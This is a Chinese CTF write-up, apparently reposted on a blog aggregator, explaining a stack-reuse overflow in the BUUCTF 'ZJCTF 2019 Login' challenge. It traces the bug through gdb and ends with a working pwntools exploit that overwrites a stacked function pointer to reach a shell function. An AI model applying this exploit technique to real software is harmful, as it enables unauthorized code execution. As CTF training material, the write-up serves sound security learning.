栈复用(覆盖栈上的有用数据)

news2024/11/24 21:09:43

栈复用(覆盖栈上的有用数据)

  1. 程序给的输入长度,不够溢出 到返回值,甚至都 不到bp位置 ,这是要考虑覆盖之前函数(或当前函数)的栈上的有用数据,任何利用 程序后续函数调用 时要利用该位置上的数据,来实现栈的漏洞利用。

例题:[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[ZJCTF 2019]Login)

  1. 题目给的程序逻辑:输入用户和密码,用户与 admin 比较,密码与 2jctf_pa5sw0rd 比较,最后输出正确并用函数指针调用一个程序前面赋予的函数。

    image-20240705112621907

    image-20240705111245222

  2. checksec检查一下程序保护,只开看一个canary和NX,其实canary都不用看,程序给的溢出点都到不了canary的位置:

  3. 观察程序给的两个输入点:一个读name、一个读password,读name不用看(输入那么的前面根本没用函数能利用),仔细看一下读password:程序给的输入长度是0x4f,但是要想覆盖到返回值需要0x70长度,很明显不够,s的长度只有8,所以是存在溢出的,能覆盖掉栈上的其他数据,所以观察一下后续程序中是否有对 **该函数栈的重利用 **。

    image-20240705111952093

  4. 直接到最后的比较函数,接受一个函数指针的地址的地址,最后调用了该函数:

    image-20240705112503947

  5. 往前追踪,该指针是 password_checker 函数赋给v7的,并且最后传递出来的是 参数再栈上的地址 而不是参数本身,使用gdb调试看看:

    image-20240705112948192

    • 调试:可以看到最后是把参数 0x400ab4 在栈上的地址 0x7fffffffdce8 传递给rax(返回值,给到v7),所以参数 0x400ab4 还是在栈上的。

    image-20240705113433293

  6. 进入到最后的比较函数,看看是否访问了 0x7fffffffdce8 该地址出的参数 0x400ab4 如果是使用了,说明肯可能可以利用该漏洞(覆盖):

    • 调试:可以看到进入函数前,将 0x7fffffffdce8 的地址 0x7fffffffdd20 给到了rdi进行传参。

    • 看到函数的最后掉欧阳那个函数时,使用到了地址 0x7fffffffdce8 处的的值 0x400ab4

    image-20240705114655248

  7. 所以可以利用该值的值,来挟持函数的控制流。但是现在有个问题,0x400ab4 是password_checker函数直接赋值的,所以password_checker函数利用不了,但是她的栈会在后面调用 *User::read_password((User )&user_name); 函数,时重新开启(可能值开启部分,毕竟栈不会完全相同)。所以现在只需要调试User::read_password((User *)&user_name);函数,知悉观察栈上的值即可(仔细看栈上地址 0x7fffffffdce8 ):

    • 调试,可以看到成功覆盖该地址的值,计算偏移,垃圾数据的长度是0x48,后面返回填充 Admin::shell函数 地址0x0000000000400E88即可,后续在:

    image-20240705115716698

    • 例子:输入aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaa4444,4444就相当于返回地址。

    image-20240705120356053

  8. EXP:

    from pwn import *
    # from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    
    p=remote('node5.buuoj.cn',29890)
    # p = process("./pwn")
    p.recvuntil(b'Please enter username: ')
    p.sendline(b"admin")
    
    p.recvuntil(b'lease enter password:')
    payload = b'2jctf_pa5sw0rd'+b'\x00'*(0x48)+p64(0x0000000000400E88)
    p.sendline(payload)
    p.sendline(b'cat flag')
    p.interactive()
    

    本地成功拿到flag。

    image-20240705120617349

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1899069.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

机器人具身智能Embodied AI

强调智能体(如机器人)通过物理身体在物理世界中的实时感知、交互和学习来执行任务。 通过物理交互来完成任务的智能系统。它由“本体”(即物理身体)和“智能体”(即智能核心)耦合而成,能够在复…

《HIRI-ViT: Scaling Vision Transformer with High Resolution Inputs》解读

期刊:TPAMI 年份:2024 摘要 视觉Transformer(ViT)和卷积神经网络(CNN)的混合深度模型已经成为一类强大的视觉任务骨干。扩大这种混合主干网的输入分辨率自然会增强模型的能力,但不可避免地要承受二次扩展的沉重计算成本。相反,…

SQL索引事务

SQL索引事务 索引 创建主键约束(primary key),唯一约束(unique),外键约束(foreign key)时,会自动创建对应列的索引 1.1 查看索引 show index from 表名 现在这个表中没有索引,那么我们现在将这几个表删除之后创建新表 我们现在建立一个班级表一个学生表,并且学生表与班级表存…

高速PCB设计Tips

在进行原理图输入过程中,需要注意将设计分解为功能块,将所有相关组件放在同一页。例如,以太网相关的组件,通常运行在50MHz或更高频率,在原理图设计中应集中在同一页。清晰标记高速连接和电源连接。差分信号和单端阻抗控…

免费分享:中国三级及以上河流(附下载方法)

河流分级法的分级方法是从源头最小河流开始,称为一级河流;两条一级河流汇合成二级河流;以此类推,三级河流等等;最后是干流。本文将介绍中国三级及以上河流数据。 数据简介 1:100万中国三级及以上河流矢量数据是涵盖了全国范围内三级及以上级别河流的详细地理信息和空间分布。这…

5百多本分章节古籍内容大全ACCESS\EXCEL数据库

很多明清小说现在越来越不容易查看其内容,虽然之前搞到过一份《3万8千多古代文学大全ACCESS数据库》,但简体中文总让我感觉有删减、非原版的印象,今天正好遇到一个好的古籍网站,繁体字繁体文,感觉非常不错,…

期权学习必看圣书:《3小时快学期权》要在哪里看?

今天带你了解期权学习必看圣书:《3小时快学期权》要在哪里看?《3小时快学期权》是一本关于股票期权基础知识的书籍。 它旨在通过简明、易懂的语言和实用的案例,让读者在短时间内掌握股票期权的基本概念、操作方法和投资策略。通过这本书&…

LeetCode刷题记录:(15)三角形最小路径和

知识点&#xff1a;倒叙的动态规划 题目传送 解法一&#xff1a;二维动态规划【容易理解】 class Solution {public int minimumTotal(List<List<Integer>> triangle) {int n triangle.size();if (n 1) {return triangle.get(0).get(0);}// dp[i][j]:走到第i层第…

Gemini for China 大更新,现已上架 Android APP!

官网&#xff1a;https://gemini.fostmar.online/ Android APP&#xff1a;https://gemini.fostmar.online/gemini_1.0.apk 一、Android APP 如果是 Android 设备&#xff0c;则会直接识别到并给下载链接。PC 直接对话即可。 二、聊天记录 现在 Gemini for China&#xff…

QWidget成员函数功能和使用详细说明(四)(文字+用例+代码+效果图)

文章目录 1.测试工程配置2.成员函数2.1 void setParent(QWidget *parent)2.2 void setMouseTracking(bool enable)2.3 bool hasMouseTracking() const2.4 void setPalette(const QPalette &)2.5 const QPalette &palette() const2.6 int QWidget::grabShortcut(const Q…

gradle构建工具

setting.gradle // settings.gradle rootProject.name my-project // 指定根项目名称include subproject1, subproject2 // 指定子项目名称&#xff0c;可选jar包名称 方式一 jar {archiveBaseName my-application // 设置 JAR 文件的基本名称archiveVersion 1.0 // 设置…

实验四 图像增强—灰度变换之直方图变换

一&#xff0e;实验目的 1&#xff0e;掌握灰度直方图的概念及其计算方法&#xff1b; 2&#xff0e;熟练掌握直方图均衡化计算过程&#xff1b;了解直方图规定化的计算过程&#xff1b; 3&#xff0e;了解色彩直方图的概念和计算方法 二&#xff0e;实验内容&#xff1a; …

泰迪智能科技企业项目试岗实训——数据分析类型

当今社会&#xff0c;就业技能的瞩目度正与日俱增。在竞争激烈的就业市场中&#xff0c;重视技能的培养和提升&#xff0c;通过学习与实践&#xff0c;增强自己的竞争力&#xff0c;为未来的职业发展打下坚实的基础&#xff0c;不仅有助于解决各类工作技能问题&#xff0c;更能…

跨境干货|最新注册Google账号方法分享

谷歌账号对做跨境外贸业务的人来说是刚需&#xff0c;目前来说大部分的海外社媒平台、工具都可以用谷歌账号来注册。但是仍然有很多朋友并不知道如何注册这个谷歌账号&#xff0c;今天就来给大家分享2个注册谷歌账号的方法&#xff0c;一个是手机号注册&#xff0c;一个是如何跳…

PEFT - 安装及简单使用

LLM、AIGC、RAG 开发交流裙&#xff1a;377891973 文章目录 一、关于 PEFT二、安装1、使用 PyPI 安装2、使用源码安装 三、快速开始1、训练2、保存模型3、推理4、后续步骤 本文翻译整理自&#xff1a;https://huggingface.co/docs/peft/index 一、关于 PEFT &#x1f917;PEFT…

关于如何做好淘汰 IT 资产数据安全销毁工作的思考 文件销毁 硬盘销毁 数据销毁 物料销毁 文件粉碎

在当今数字化时代&#xff0c;企业的 IT 资产不断更新换代&#xff0c;淘汰的 IT 资产中往往存储着大量的敏感数据。如何确保这些数据在资产淘汰过程中被安全销毁&#xff0c;成为了企业面临的重要挑战。以下是对如何做好淘汰 IT 资产数据安全销毁工作的一些思考。 一、明确数…

51单片机STC89C52RC——14.1 直流电机调速

目录 目的/效果 1&#xff1a;电机转速同步LED呼吸灯 2 通过独立按键 控制直流电机转速。 一&#xff0c;STC单片机模块 二&#xff0c;直流电机 2.1 简介 2.2 驱动电路 2.2.1 大功率器件直接驱动 2.2.2 H桥驱动 正转 反转 2.2.3 ULN2003D 引脚、电路 2.3 PWM&…

【C++】 解决 C++ 语言报错:Segmentation Fault

文章目录 引言 段错误&#xff08;Segmentation Fault&#xff09;是 C 编程中常见且令人头疼的错误之一。段错误通常发生在程序试图访问未被允许的内存区域时&#xff0c;导致程序崩溃。本文将深入探讨段错误的产生原因、检测方法及其预防和解决方案&#xff0c;帮助开发者在…

智能插座搭配BIOS唤醒功能实现远程定时开关机

智能插座 智能插座凭借其强大的联网能力&#xff0c;不仅能够实现远程操控开关电源&#xff0c;部分高端型号更是集成了电量统计与自动化操作功能&#xff0c;为用户带来了前所未有的便捷体验。以下是我对几款体验过的智能插座的简要评价&#xff0c;因版本差异可能有所不同。…

tongweb+ths6011测试websocket(by lqw)

本次使用的tongweb版本7049m4&#xff0c;测试包ws_example.war&#xff08;在tongweb安装目录的samples/websocket下&#xff09;&#xff0c;ths版本6011 首先在tongweb控制台部署一下ws_example.war,部署后测试是否能访问&#xff1a; 然後ths上的httpserver.conf的參考配…